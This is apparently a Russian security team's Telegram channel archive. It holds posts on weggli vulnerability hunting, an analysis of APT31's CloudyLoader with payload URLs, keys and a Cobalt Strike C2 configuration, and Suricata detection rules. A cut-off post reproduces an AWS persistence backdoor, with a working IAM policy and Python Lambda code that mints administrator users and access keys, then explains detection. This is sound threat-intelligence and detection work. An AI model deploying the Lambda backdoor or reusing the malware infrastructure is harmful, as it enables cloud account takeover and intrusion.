How to CVE-2025-54916? Low-effort vulnerability research 💻
Привет, на связи ESC-VR.
Формат поста в телеграме редко подходит для разборов комплексных уязвимостей, но баг, найденный нами в недрах NTFS, исправленный сентябрьским патчем, можно было найти весьма необычным способом (и мы смогли уложить рассказ об этом в пост).
Если вы интересуетесь анализом уязвимостей, наверняка слышали про CodeQL, SonarQube, Snyk, Semgrep — классические SAST-системы. Их общий минус: чаще всего нужен полный доступ к исходникам. Когда его нет, ценность таких инструментов быстро стремится к нулю, а сложность запросов мешает применять их к декомпилированным листингам или фрагментам кода.
Нужно что-то простое, с понятным языком запросов и без требования полной кодовой базы. Такое решение есть — это weggli-rs: интерактивная, консольная утилита для выполнения семантического поиска. Она подходит для поиска по декомпилированным листингам и частичным кодовым базам.
Что мы называем «частичными кодовыми базами»? Например, утекшие исходники Windows XP SP1, слитые в 2020 году. Несмотря на возраст, это бесценный источник знаний о внутренностях современной Windows.
🎯 Наша цель: найти классические переполнения стека через вызовы
• на стеке объявлен буфер;
• есть вызов
• в первый аргумент передается адрес этого стекового буфера.
Этого достаточно, чтобы собрать множество кандидатов на stack buffer overflow (не все, но многие). Запрос на weggli:
Дальше нужно сужать выборку. Например, требуем, чтобы размер копируемого буфера задавался выражением с вычитанием. Таким образом мы подсвечиваем места с риском целочисленного underflow:
Уязвимость, закрытую в сентябре, можно было подсветить таким запросом:
В данном шаблоне мы ищем все функции, в которых:
• на стеке объявлен буфер;
• есть вызов
• в первый аргумент передается адрес этого стекового буфера;
• размер копируемого буфера определяется полем какой бы то ни было структуры.
В заключение мы призываем вас попробовать использовать weggli-rs и найти исправленную уязвимость в исходном коде Windows XP SP1.
HINT:кажется, искать нужно в base/fs, а в названии уязвимой функции было что-то связанное с записью в лог или еще куда 😏
А если вы хотите узнать, как стриггерить эту уязвимость, то ознакомьтесь с нашим предыдущим исследованием, опубликованным в блоге PT SWARM.
#escvr #cve #win
@ptescalator
Привет, на связи ESC-VR.
Формат поста в телеграме редко подходит для разборов комплексных уязвимостей, но баг, найденный нами в недрах NTFS, исправленный сентябрьским патчем, можно было найти весьма необычным способом (и мы смогли уложить рассказ об этом в пост).
Если вы интересуетесь анализом уязвимостей, наверняка слышали про CodeQL, SonarQube, Snyk, Semgrep — классические SAST-системы. Их общий минус: чаще всего нужен полный доступ к исходникам. Когда его нет, ценность таких инструментов быстро стремится к нулю, а сложность запросов мешает применять их к декомпилированным листингам или фрагментам кода.
Нужно что-то простое, с понятным языком запросов и без требования полной кодовой базы. Такое решение есть — это weggli-rs: интерактивная, консольная утилита для выполнения семантического поиска. Она подходит для поиска по декомпилированным листингам и частичным кодовым базам.
Что мы называем «частичными кодовыми базами»? Например, утекшие исходники Windows XP SP1, слитые в 2020 году. Несмотря на возраст, это бесценный источник знаний о внутренностях современной Windows.
🎯 Наша цель: найти классические переполнения стека через вызовы
memcpy/memmove. Ищем функцию, где:• на стеке объявлен буфер;
• есть вызов
memcpy/memmove;• в первый аргумент передается адрес этого стекового буфера.
Этого достаточно, чтобы собрать множество кандидатов на stack buffer overflow (не все, но многие). Запрос на weggli:
weggli -R "$func=RtlCopyMemory|memmove|memcpy" "_ $v; $func(&$v,_,_)"
Дальше нужно сужать выборку. Например, требуем, чтобы размер копируемого буфера задавался выражением с вычитанием. Таким образом мы подсвечиваем места с риском целочисленного underflow:
weggli.exe -R "$func=RtlCopyMemory|memmove|memcpy" "_ $v; $func(&$v,_,_(_-_))"
Уязвимость, закрытую в сентябре, можно было подсветить таким запросом:
weggli -R "$func=RtlCopyMemory|memmove|memcpy" "_ $v; $func(&$v,_,_($a->$b))
В данном шаблоне мы ищем все функции, в которых:
• на стеке объявлен буфер;
• есть вызов
memcpy/memmove;• в первый аргумент передается адрес этого стекового буфера;
• размер копируемого буфера определяется полем какой бы то ни было структуры.
В заключение мы призываем вас попробовать использовать weggli-rs и найти исправленную уязвимость в исходном коде Windows XP SP1.
HINT:
А если вы хотите узнать, как стриггерить эту уязвимость, то ознакомьтесь с нашим предыдущим исследованием, опубликованным в блоге PT SWARM.
#escvr #cve #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17👍10❤8💯1
Инструмент группировки APT31. CloudyLoader 🌩
В одном из инцидентов команде PT ESC IR попался интересный вредоносный файл, который загружает полезную нагрузку в несколько этапов. Вредоносный образец состоит из легитимного файла компонента
Вредоносная динамическая библиотека накрыта протектором VmProtect версии 3, имя секции изменено на
При вычислении хеш-значения имена DLL должны подаваться на вход уже в верхнем регистре (например,
После всех подготовок
Этапы получения основной нагрузки
1. Запрос к репозиторию scrcpyClone пользователя Range1992:
2. Запрос к адресу:
• ключ RC4 — 8 байт;
• длина полезных данных — 4 байта;
• полезные данные.
Основная полезная нагрузка представляет собой шелл-код CobaltStrike со следующей конфигурацией:
Признаками присутствия этого ВПО может служить наличие в файловой системе неподписанной DLL-библиотеки с именем
IoCs:
#dfir #ti #apt #reverse #malware
@ptescalator
В одном из инцидентов команде PT ESC IR попался интересный вредоносный файл, который загружает полезную нагрузку в несколько этапов. Вредоносный образец состоит из легитимного файла компонента
BsSndRpt.exe программного обеспечения BugSplat, которое представляет собой систему сбора и анализа отчетов об ошибках, динамической библиотеки BugSplatRc64.dll и файла полезной нагрузки (шелл-кода). Для правильной работы легитимного файла необходима BugSplatRc64.dll, которая является загрузчиком.Вредоносная динамическая библиотека накрыта протектором VmProtect версии 3, имя секции изменено на
.qwdlgje (скриншот 1). Для сокрытия вызовов Windows API вредонос использует технику API Hashing: для поиска имени функции и имени DLL вычисляется хеш. Алгоритм хеширования следующий:def CalculateAPIHash(data: bytes):
v3 = 0xFFFFFFFF
for byte in data:
temp1 = (2 * byte) ^ ((2 * byte) ^ (byte >> 1)) & 0x55555555
v4 = temp1 >> 2
v5 = 4 * temp1
temp2 = v5 ^ (v5 ^ v4) & 0x33333333
v6 = ((temp2 >> 4) | (16 * (temp2 & 0xFF0F0F0F))) & 0xFFFFFFFF
v8 = int.from_bytes(v6.to_bytes(4, 'little'), 'big')
for _ in range(8):
if (v3 ^ v8) & 0x80000000:
v3 ^= 0xC520DEC7
v3 = (v3 * 2) & 0xFFFFFFFF
v8 = (v8 * 2) & 0xFFFFFFFF
v9 = (~v3) & 0xFFFFFFFF
v10 = (4 * ((2 * v9) ^ ((2 * v9) ^ (v9 >> 1)) & 0x55555555)) & 0xFFFFFFFF
v11 = (v10 ^ (v10 ^ (((2 * v9) ^ ((2 * v9) ^ (v9 >> 1)) & 0x55555555) >> 2)) & 0x33333333) & 0xffffffff
v11 = ((16 * v11) ^ ((16 * v11) ^ (v11 >> 4)) & 0xF0F0F0F) & 0xffffffff
return int.from_bytes(v11.to_bytes(4, 'little'), 'big')
При вычислении хеш-значения имена DLL должны подаваться на вход уже в верхнем регистре (например,
KERNEL32.DLL), в то время как имена функций остаются без изменения. После всех подготовок
BugSplatRc64.dll создает процесс makecab.exe, операцией XOR с ключом 5d 72 89 80 расшифровывается файл полезной нагрузки, которая представляет собой шелл-код. Все строки, используемые в DLL, зашифрованы XOR.Этапы получения основной нагрузки
1. Запрос к репозиторию scrcpyClone пользователя Range1992:
https://raw.githubusercontent.com/Range1992/scrcpyClone/refs/heads/master/app/data/zsh-completion/_scrcpy (скриншоты 2, 3). В полученных из Git данных вредоносный код ищет маркер начала (QQNSR4u) и конца (ZsNpk7Y) закодированной строки. Далее получает данные между маркерами, декодирует из формата Base64, расшифровывает с помощью алгоритма RC4 с ключом 03 07 A0 B0 E3 80 88 77. Полученные данные — адрес основной нагрузки.2. Запрос к адресу:
https://github.com/Range1992/scrcpyClone/raw/refs/heads/master/app/deps/PersonalizationCSP. Зашифрованная основная нагрузка содержит следующие данные:• ключ RC4 — 8 байт;
• длина полезных данных — 4 байта;
• полезные данные.
Основная полезная нагрузка представляет собой шелл-код CobaltStrike со следующей конфигурацией:
BeaconType - HTTPS
Port - 443
SleepTime - 77665
MaxGetSize - 409721416
Jitter - 46
PublicKey_MD5 - fe7aa97fbe3fe21e59ead1792ca2dc58
C2Server - Moeodincovo.com,/divide/mail/SUVVJRQO8QRC,www.Moeodincovo.com,/divide/mail/SUVVJRQO8QRC
UserAgent - Mozilla/5.0 (Windows NT 6.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
HttpPostUri - /Terminate/v6.49/LTKAZNE9
Признаками присутствия этого ВПО может служить наличие в файловой системе неподписанной DLL-библиотеки с именем
BugSplatRc64.dll.IoCs:
https://raw.githubusercontent.com/Range1992/scrcpyClone/refs/heads/master/app/data/zsh-completion/_scrcpy
https://github.com/Range1992/scrcpyClone/raw/refs/heads/master/app/deps/PersonalizationCSP
https://Moeodincovo.com/divide/mail/SUVVJRQO8QRC
3356a7d25096e24afe3409540a06f42b2b5012e55a8cad3f6ee06ec13e3471a5
879949e6d70f2d7e21c489552240b13f927fa9586ef7a9343fa07741248860f3
#dfir #ti #apt #reverse #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👏12🤝9❤4👍1😱1
Полезный пятничный пост 🫥
В ходе исследования угроз часто возникает потребность срочно изучить вредоносный файл/URL/домен. В этом посте мы собрали инструменты, которые у нас всегда под рукой для экспресс‑анализа.
Онлайн‑песочницы позволяют загрузить вредоносный файл в изолированную среду и наблюдать за его активностью:
Проверка доменов и вредоносных URL:
IoT‑поисковики сканируют IPv4‑пространство с разной частотой и собирают сетевую информацию о хостах. С помощью этих сервисов можно узнать, какие сервисы запущены или какие порты открыты на хостах без активного взаимодействия с ними:
Важно помнить, что, загружая файл на такие ресурсы (особенно в их бесплатных версиях), вы отправляете его в публичный доступ, где с ним могут взаимодействовать не только создатели сервиса, но и другие пользователи.
А какими инструментами для экспресс‑анализа пользуетесь вы? Делитесь в комментариях ✍🏼
#tip
@ptescalator
В ходе исследования угроз часто возникает потребность срочно изучить вредоносный файл/URL/домен. В этом посте мы собрали инструменты, которые у нас всегда под рукой для экспресс‑анализа.
Онлайн‑песочницы позволяют загрузить вредоносный файл в изолированную среду и наблюдать за его активностью:
https://any.run
https://www.virustotal.com
https://tria.ge
https://www.hybrid-analysis.com
https://analyze.intezer.com
https://capesandbox.com/analysis/
https://www.joesandbox.com
https://app.docguard.io/
Проверка доменов и вредоносных URL:
https://www.browserling.com/
https://urlscan.io/
https://urlhaus.abuse.ch/browse/
https://www.greynoise.io/
https://urlquery.net/
https://any.run
https://www.virustotal.com
IoT‑поисковики сканируют IPv4‑пространство с разной частотой и собирают сетевую информацию о хостах. С помощью этих сервисов можно узнать, какие сервисы запущены или какие порты открыты на хостах без активного взаимодействия с ними:
https://en.fofa.info/
https://search.censys.io/
https://www.zoomeye.ai/
https://www.shodan.io/
https://www.criminalip.io/
https://search.onyphe.io/
https://www.binaryedge.io/
Важно помнить, что, загружая файл на такие ресурсы (особенно в их бесплатных версиях), вы отправляете его в публичный доступ, где с ним могут взаимодействовать не только создатели сервиса, но и другие пользователи.
А какими инструментами для экспресс‑анализа пользуетесь вы? Делитесь в комментариях ✍🏼
#tip
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20✍12👍9❤4🌚1
Как ваше настроение сегодня?
Anonymous Poll
8%
:-)
7%
:-(
31%
(╯°□°)╯︵ ┻━┻
15%
-_-
5%
:D
6%
\o/
2%
(_8_(/)
6%
(^^,)
4%
\m/
18%
(_!_)
👍10😢8🔥4😁3🤮3❤2🤷♀1
Вредонос летит, вредонос бежит, вредонос в песочнице сидит ⏳
В середине августа мы рассказывали о новой масштабной кампании группировки PhantomCore, обнаруженной департаментом Threat Intelligence экспертного центра безопасности Positive Technologies (PT ESC TI).
Спустя несколько дней после публикации исследования с помощью PT Sandbox удалось предотвратить атаку на российские оборонные и промышленные предприятия, а также банковский сектор, в которой использовалась обфусцированная вариация инструмента PhantomRShell, применяемого PhantomCore.
🗓 Это произошло 24 августа. При этом в открытых системах агрегации сведений о ВПО информация о семплах появилась только утром 25 августа, а еще через сутки вредонос все еще не обнаруживался большинством популярных антивирусных решений.
Атака начиналась с письма от вполне легитимного отправителя — его учетная запись была скомпрометирована. Вложение в формате архива оказалось файлом-полиглотом, собранным из трех последовательно склеенных объектов разных типов: DLL (содержит вредоносную нагрузку типа бэкдор), PDF (для отвлечения внимания) и ZIP-архива (с LNK-файлом внутри для закрепления в системе).
Благодаря анализу трафика бэкдора песочнице удалось соотнести этот семпл с инструментом PhantomRShell, который позволяет злоумышленнику удаленно выполнять произвольный код.
🤨 Подробности атаки и как хакерам удалось отправить эту нагрузку от легитимного отправителя, рассказали в материале на Хабре.
#ti #apt #malware
@ptescalator
В середине августа мы рассказывали о новой масштабной кампании группировки PhantomCore, обнаруженной департаментом Threat Intelligence экспертного центра безопасности Positive Technologies (PT ESC TI).
Спустя несколько дней после публикации исследования с помощью PT Sandbox удалось предотвратить атаку на российские оборонные и промышленные предприятия, а также банковский сектор, в которой использовалась обфусцированная вариация инструмента PhantomRShell, применяемого PhantomCore.
🗓 Это произошло 24 августа. При этом в открытых системах агрегации сведений о ВПО информация о семплах появилась только утром 25 августа, а еще через сутки вредонос все еще не обнаруживался большинством популярных антивирусных решений.
Атака начиналась с письма от вполне легитимного отправителя — его учетная запись была скомпрометирована. Вложение в формате архива оказалось файлом-полиглотом, собранным из трех последовательно склеенных объектов разных типов: DLL (содержит вредоносную нагрузку типа бэкдор), PDF (для отвлечения внимания) и ZIP-архива (с LNK-файлом внутри для закрепления в системе).
Благодаря анализу трафика бэкдора песочнице удалось соотнести этот семпл с инструментом PhantomRShell, который позволяет злоумышленнику удаленно выполнять произвольный код.
🤨 Подробности атаки и как хакерам удалось отправить эту нагрузку от легитимного отправителя, рассказали в материале на Хабре.
#ti #apt #malware
@ptescalator
👍17❤13🔥11🆒1
Длинная, странная, но рабочая
🍊 🍊 🍊 🍊 🍊 🍊 🍊 🍊 🍊 🍊 🍊
Не всегда то, что мы исследуем, оказывается сложными атаками со стороны серьезных групп. Бывает, что атаки только кажутся сложными. Об одной из таких мы рассказываем в нашем блоге.
В ходе анализа был обнаружен ряд атак, в которых злоумышленники хранили промежуточные скрипты и слитые данные жертв прямо в публичных репозиториях GitHub. Активность зафиксирована с сентября 2024 по апрель 2025. Эти атаки выделяются своей структурой: длинные цепочки простых скриптов, созданных, судя по стилю кода и комментариям, с использованием ИИ.
Несмотря на кажущуюся примитивность, они эффективно собирали данные жертв, включая системную информацию, скриншоты и файлы Telegram, а затем отправляли их в репозитории GitHub. При этом атакующие использовали легитимные PDF-файлы в качестве приманки и маскировали свои действия, запуская скрипты в скрытом режиме.
Посмотреть комментарии ИИ в коде можно в нашем блоге на Хабре🫲
#TI #malware
@ptescalator
Не всегда то, что мы исследуем, оказывается сложными атаками со стороны серьезных групп. Бывает, что атаки только кажутся сложными. Об одной из таких мы рассказываем в нашем блоге.
В ходе анализа был обнаружен ряд атак, в которых злоумышленники хранили промежуточные скрипты и слитые данные жертв прямо в публичных репозиториях GitHub. Активность зафиксирована с сентября 2024 по апрель 2025. Эти атаки выделяются своей структурой: длинные цепочки простых скриптов, созданных, судя по стилю кода и комментариям, с использованием ИИ.
Несмотря на кажущуюся примитивность, они эффективно собирали данные жертв, включая системную информацию, скриншоты и файлы Telegram, а затем отправляли их в репозитории GitHub. При этом атакующие использовали легитимные PDF-файлы в качестве приманки и маскировали свои действия, запуская скрипты в скрытом режиме.
Посмотреть комментарии ИИ в коде можно в нашем блоге на Хабре
#TI #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
❤15🔥12👍8😁3
Как создать правила для сетевого трафика под будущую угрозу 🤨
Об этом на этой неделе в Китае во время третьего саммита по кибербезопасности, в рамках которого прошла шестая международная антивирусная конференция, рассказала Ксения Наумова, старший специалист отдела сетевой экспертизы антивирусной лаборатории PT ESC. В канале делимся подробностями из доклада🍸
Достаточно значимая часть работы аналитика сетевого трафика при анализе вредоносного ПО заключается в написании детектирующей сигнатурной логики для обнаружения конкретных образцов ВПО в сетевом трафике.
Экзактовые сигнатуры обладают одним несомненным преимуществом — они ловят ровно те вредоносные образцы, на которые были написаны, но это же является их главной слабостью: при даже небольшом изменении какого-либо компонента сетевого взаимодействия правила перестают срабатывать.
Мы решили, что этот недуг можно смело обернуть в преимущество: сигнатуры могут ловить не только экзактовые вредоносы, но и аномальное поведение, которое эти образцы порождают.
Что может являться интересующей нас аномалией?
➡️ Необычные размеры пакетов;
➡️ неизвестные протоколы;
➡️ подозрительные DNS-запросы / подозрительные TLD в DNS;
➡️ скачки трафика / задержки;
➡️ нарушения RFC;
➡️ применение обфускации, кодирования, шифрования;
➡️ и многое другое…
Мы провели небольшой анализ существующих правил на детектирование аномалий в наборе опенсорсных сигнатур Emerging Threats — HUNTING (скриншот 1):
➡️ ~510 правил на XOR-шифрование HTTP-запросов;
➡️ ~50 правил на кодированные в Base64 данные;
➡️ ~50 правил на подозрительные TLD в DNS;
➡️ правила на содержимое в ZIP, эксфильтрацию и т. п.
Показательный пример удачного hunting-правила:
А на скриншоте 2 — пример такого подозрительного трафика.
Однако искать аномалии можно не только с помощью открытых правил, но и самостоятельно — например, нарушения RFC, конкретно RFC 2616, определяющего протокол HTTP (скриншот 3). Можно поискать HTTP-запросы, у которых заголовок Referer не содержит схему:
В наши сети попадал бэкдор
Или, например, можно поискать простую команду
По итогам срабатываний и дальнейших исследований к нам попадали
Но основная мысль, зафиксированная в докладе, — в использовании корреляции их сработок. Корреляция сработок — понятие не новое, но в контексте сетевого трафика его пока применяют крайне редко; иногда уходят в более сложные реализации защиты и забывают о простых, но действенных подходах.
🫵 Выводы простые: generic-правила, особенно в корреляции друг с другом, могут значительно помогать в детектировании как давно известных, так и абсолютно новых угроз, о которых пока никто не знает. Можно пользоваться открытыми наборами сетевых сигнатур — ET Open, PT Open, а можно смело писать свои.
Happy hunting!
#suricata #network #signature #rules #hunt #detect
@ptescalator
Об этом на этой неделе в Китае во время третьего саммита по кибербезопасности, в рамках которого прошла шестая международная антивирусная конференция, рассказала Ксения Наумова, старший специалист отдела сетевой экспертизы антивирусной лаборатории PT ESC. В канале делимся подробностями из доклада
Достаточно значимая часть работы аналитика сетевого трафика при анализе вредоносного ПО заключается в написании детектирующей сигнатурной логики для обнаружения конкретных образцов ВПО в сетевом трафике.
Экзактовые сигнатуры обладают одним несомненным преимуществом — они ловят ровно те вредоносные образцы, на которые были написаны, но это же является их главной слабостью: при даже небольшом изменении какого-либо компонента сетевого взаимодействия правила перестают срабатывать.
Мы решили, что этот недуг можно смело обернуть в преимущество: сигнатуры могут ловить не только экзактовые вредоносы, но и аномальное поведение, которое эти образцы порождают.
Что может являться интересующей нас аномалией?
➡️ Необычные размеры пакетов;
➡️ неизвестные протоколы;
➡️ подозрительные DNS-запросы / подозрительные TLD в DNS;
➡️ скачки трафика / задержки;
➡️ нарушения RFC;
➡️ применение обфускации, кодирования, шифрования;
➡️ и многое другое…
Мы провели небольшой анализ существующих правил на детектирование аномалий в наборе опенсорсных сигнатур Emerging Threats — HUNTING (скриншот 1):
➡️ ~510 правил на XOR-шифрование HTTP-запросов;
➡️ ~50 правил на кодированные в Base64 данные;
➡️ ~50 правил на подозрительные TLD в DNS;
➡️ правила на содержимое в ZIP, эксфильтрацию и т. п.
Показательный пример удачного hunting-правила:
alert http $HOME_NET any -> $EXTERNAL_NET any (sid: 2027117; msg:"ET HUNTING Suspicious POST with Common Windows Process Names - Possible Process List Exfiltration"; flow:established,to_server; http.method; content:"POST"; http.request_body; content:"csrss.exe"; content:"explorer.exe"; fast_pattern; content:"svchost.exe"; content:"lsass.exe"; ...)
А на скриншоте 2 — пример такого подозрительного трафика.
Однако искать аномалии можно не только с помощью открытых правил, но и самостоятельно — например, нарушения RFC, конкретно RFC 2616, определяющего протокол HTTP (скриншот 3). Можно поискать HTTP-запросы, у которых заголовок Referer не содержит схему:
alert http any any -> any any (msg: "SUSPICIOUS [PTsecurity] HTTP header Referer RFC2616 violation"; flow: established, to_server; content: "Referer|3a|"; http_header; content: !"Referer|3a 20|http"; http_header; ...)
В наши сети попадал бэкдор
EAGERBEE и другие интересные образцы (скриншот 4).Или, например, можно поискать простую команду
PING внутри GZIP (скриншот 5):alert tcp any any -> any any (msg: "SUSPICIOUS [PTsecurity] Generic Ping command inside Gzip"; flow: established, to_server; content: "|1f 8b 08 00 00 00 00 00 04 00 0b c8 cc 4b 07 00 c3 92 e7 85 04 00 00 00|"; ...)
По итогам срабатываний и дальнейших исследований к нам попадали
SheetRAT и zgRAT (скриншот 6).Но основная мысль, зафиксированная в докладе, — в использовании корреляции их сработок. Корреляция сработок — понятие не новое, но в контексте сетевого трафика его пока применяют крайне редко; иногда уходят в более сложные реализации защиты и забывают о простых, но действенных подходах.
🫵 Выводы простые: generic-правила, особенно в корреляции друг с другом, могут значительно помогать в детектировании как давно известных, так и абсолютно новых угроз, о которых пока никто не знает. Можно пользоваться открытыми наборами сетевых сигнатур — ET Open, PT Open, а можно смело писать свои.
Happy hunting!
#suricata #network #signature #rules #hunt #detect
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21❤10👍7🤩1
В этот праздничный день самое время спросить: как вы предпочитаете защищаться? 🔓
Anonymous Poll
5%
Использую Arch, btw 😎
5%
sudo iptables -F ✋
7%
С помощью NGFW 😏
14%
Обновляю компьютер, когда он просит 🙃
6%
Не выхожу в интернет 🙅♂️
14%
Я и сам своего рода защитник 🔞
18%
Пользуюсь мессенджером MAX 🅿️
7%
Получаю мемы по голубиной почте 🫥
7%
Нет такой задачи 😏
17%
Я фанат аниме 😘
😁19👍7🌭7❤2🍌1🫡1
☁️ AWS-бэкдор как услуга: закрепление в облаке через Lambda
Ландшафт облачных угроз постоянно эволюционирует, и атакующие все чаще используют легитимные сервисы для своих целей. Наше внимание привлекла техника закрепления в AWS, известная как persistence as a service и использующая связку AWS Lambda и API Gateway. Решили в своей тестовой лаборатории AWS в точности воспроизвести эту атаку, чтобы изучить ее цифровой след и понять, как ее можно эффективно обнаружить.
🎯 Суть атаки
Злоумышленник, получив первоначальный доступ к аккаунту, создает механизм, который позволяет ему возвращаться в систему даже после того, как его украденные учетные данные будут заблокированы.
Как это работает:
1. Создается Lambda-функция, способная программно создавать новых IAM-пользователей с правами администратора.
2. С помощью Amazon API Gateway создается публичный HTTP-URL-адрес, для доступа к которому не требуется аутентификация.
3. API Gateway настраивается так, что любой запрос на этот URL автоматически запускает созданную Lambda-функцию.
В результате у атакующего появляется «бэкдор как услуга». Ему больше не нужны украденные ключи, достаточно просто перейти по ссылке, чтобы мгновенно получить новые учетные данные администратора.
⚙️ Воссоздание атаки
В тестовой среде атака состояла из трех основных этапов: подготовка прав, создание вредоносного кода и открытие доступа извне.
1️⃣ Создание роли для Lambda-функции
Сначала создали политику (назвали ее
Далее создали IAM-роль, которая даст будущей функции права на создание пользователей и управление правами:
•
•
• Прикрепляем ранее созданную политику
• Название роли:
2️⃣ Создание Lambda-функции
Затем создаем саму Lambda-функцию на Python, которая:
• генерирует уникальное имя пользователя на основе текущей даты и времени;
• создает этого пользователя;
• прикрепляет к нему политику AdministratorAccess;
• генерирует для него ключи доступа Access Keys;
• возвращает эти ключи в виде JSON-ответа.
Это позволяет атакующему при каждом вызове получать свежие уникальные учетные данные. Вот параметры тестового скрипта:
•
•
•
⬇️ Следующие шаги в посте ниже.
#detect #tip #reverse
@ptescalator
Ландшафт облачных угроз постоянно эволюционирует, и атакующие все чаще используют легитимные сервисы для своих целей. Наше внимание привлекла техника закрепления в AWS, известная как persistence as a service и использующая связку AWS Lambda и API Gateway. Решили в своей тестовой лаборатории AWS в точности воспроизвести эту атаку, чтобы изучить ее цифровой след и понять, как ее можно эффективно обнаружить.
🎯 Суть атаки
Злоумышленник, получив первоначальный доступ к аккаунту, создает механизм, который позволяет ему возвращаться в систему даже после того, как его украденные учетные данные будут заблокированы.
Как это работает:
1. Создается Lambda-функция, способная программно создавать новых IAM-пользователей с правами администратора.
2. С помощью Amazon API Gateway создается публичный HTTP-URL-адрес, для доступа к которому не требуется аутентификация.
3. API Gateway настраивается так, что любой запрос на этот URL автоматически запускает созданную Lambda-функцию.
В результате у атакующего появляется «бэкдор как услуга». Ему больше не нужны украденные ключи, достаточно просто перейти по ссылке, чтобы мгновенно получить новые учетные данные администратора.
⚙️ Воссоздание атаки
В тестовой среде атака состояла из трех основных этапов: подготовка прав, создание вредоносного кода и открытие доступа извне.
1️⃣ Создание роли для Lambda-функции
Сначала создали политику (назвали ее
LambdaCreateUserPolicy), которая дает права на создание пользователя, создание ключей доступа и прикрепление политики администратора (чтобы наш бэкдор-пользователь был всемогущим).{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:CreateUser",
"iam:CreateAccessKey",
"iam:AttachUserPolicy"
],
"Resource": "*"
}
]
}
Далее создали IAM-роль, которая даст будущей функции права на создание пользователей и управление правами:
•
Trusted entity type: AWS service•
Use case: Lambda• Прикрепляем ранее созданную политику
LambdaCreateUserPolicy• Название роли:
lambda-backdoor-role2️⃣ Создание Lambda-функции
Затем создаем саму Lambda-функцию на Python, которая:
• генерирует уникальное имя пользователя на основе текущей даты и времени;
• создает этого пользователя;
• прикрепляет к нему политику AdministratorAccess;
• генерирует для него ключи доступа Access Keys;
• возвращает эти ключи в виде JSON-ответа.
Это позволяет атакующему при каждом вызове получать свежие уникальные учетные данные. Вот параметры тестового скрипта:
•
Function name, в нашем случае create-backdoor-user-poc•
Runtime: Python 3.12•
Execution role: указали на ранее созданную роль lambda-backdoor-roleimport json
import boto3
from datetime import datetime, timezone
def lambda_handler(event, context):
iam = boto3.client('iam')
timestamp = datetime.now(timezone.utc).strftime('%Y%m%d-%H%M%S')
username = f'backdoor-user-{timestamp}'
policy_arn = 'arn:aws:iam::aws:policy/AdministratorAccess'
try:
iam.create_user(UserName=username)
iam.attach_user_policy(UserName=username, PolicyArn=policy_arn)
response = iam.create_access_key(UserName=username)
credentials = {
"AccessKeyId": response['AccessKey']['AccessKeyId'],
"SecretAccessKey": response['AccessKey']['SecretAccessKey'],
"UserName": username
}
return {
'statusCode': 200,
'body': json.dumps(credentials, indent=2)
}
except Exception as e:
return {
'statusCode': 500,
'body': json.dumps(str(e))
}
⬇️ Следующие шаги в посте ниже.
#detect #tip #reverse
@ptescalator
🔥15👍5👏4❤2😁1
Продолжаем воспроизводить атаку из поста выше 🔼
3️⃣ Создаем публичный триггер API Gateway (скриншот 1)
В конце надо выставить функцию в интернет. Добавили к Lambda-функции триггер типа API Gateway, указав в настройках
Примечание: так как холодный старт и три API-вызова могут занимать заметное время, мы увеличили тайм-аут Lambda-функции со стандартных 3 до 15 секунд.
4️⃣ Исполнение атаки
Теперь достаточно просто перейти по URL, сгенерированному API Gateway. В ответ браузер получает JSON со свежими учетными данными нового администратора (скриншот 2):
При проверке результата в AWS видим только что созданного пользователя с прикрепленной политикой
👣 Цифровой след
Анализ логов AWS CloudTrail показал, что для надежного детектирования нужно отслеживать всю цепочку событий.
1️⃣ Событие CreateRole (создание роли для Lambda)
На первом этапе в логах появляется событие создания IAM-роли с говорящим названием lambda-backdoor-role, предназначенной для сервиса Lambda. Само по себе это действие не вредоносное, но именно с него начинается цепочка.
•
•
•
2️⃣ Событие CreateFunction (создание Lambda-функции)
Далее мы видим, что к новой функции create-backdoor-user-poc привязывается та самая роль, которую создали на первом шаге (requestParameters.role).
•
•
•
3️⃣ Событие CreateApi (создание триггера API Gateway)
Здесь создается публичный API. Ключевым индикатором в логе является поле userIdentity.invokedBy со значением AWS Internal и requestParameters.denoscription, равное Created by AWS Lambda. Это говорит о том, что API был создан автоматически через интерфейс Lambda, что характерно для этой атаки.
4️⃣ Событие CreateUser (создание бэкдор-пользователя)
В логе мы видим событие создания нового пользователя, но в поле
•
•
•
•
• В самом низу объекта userIdentity есть специальный блок
• Еще одним очень сильным индикатором является userAgent: наличие подстроки
Если пост соберет три лайка, то в следующем поделимся идеей для правила корреляции в SIEM 😉
#detect #tip #reverse
@ptescalator
3️⃣ Создаем публичный триггер API Gateway (скриншот 1)
В конце надо выставить функцию в интернет. Добавили к Lambda-функции триггер типа API Gateway, указав в настройках
Security: Open. Создается публичный URL, который и стал бэкдором. Он будет выглядеть примерно так:https://abcdef123.execute-api.eu-central-1.amazonaws.com/default/create-backdoor-user-poc
Примечание: так как холодный старт и три API-вызова могут занимать заметное время, мы увеличили тайм-аут Lambda-функции со стандартных 3 до 15 секунд.
4️⃣ Исполнение атаки
Теперь достаточно просто перейти по URL, сгенерированному API Gateway. В ответ браузер получает JSON со свежими учетными данными нового администратора (скриншот 2):
{
"AccessKeyId": "AKIAS22MVUU75MYRNT3U",
"SecretAccessKey": "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",
"UserName": "backdoor-user-20250921-155854"
}
При проверке результата в AWS видим только что созданного пользователя с прикрепленной политикой
AdministratorAccess (скриншот 3).👣 Цифровой след
Анализ логов AWS CloudTrail показал, что для надежного детектирования нужно отслеживать всю цепочку событий.
1️⃣ Событие CreateRole (создание роли для Lambda)
На первом этапе в логах появляется событие создания IAM-роли с говорящим названием lambda-backdoor-role, предназначенной для сервиса Lambda. Само по себе это действие не вредоносное, но именно с него начинается цепочка.
•
eventName: CreateRole — само действие.•
requestParameters.roleName: lambda-backdoor-role — имя роли.•
userIdentity.userName — кто именно создал эту роль.2️⃣ Событие CreateFunction (создание Lambda-функции)
Далее мы видим, что к новой функции create-backdoor-user-poc привязывается та самая роль, которую создали на первом шаге (requestParameters.role).
•
eventName: CreateFunction20150331 — действие по созданию функции.•
requestParameters.functionName: create-backdoor-user-poc — имя функции.•
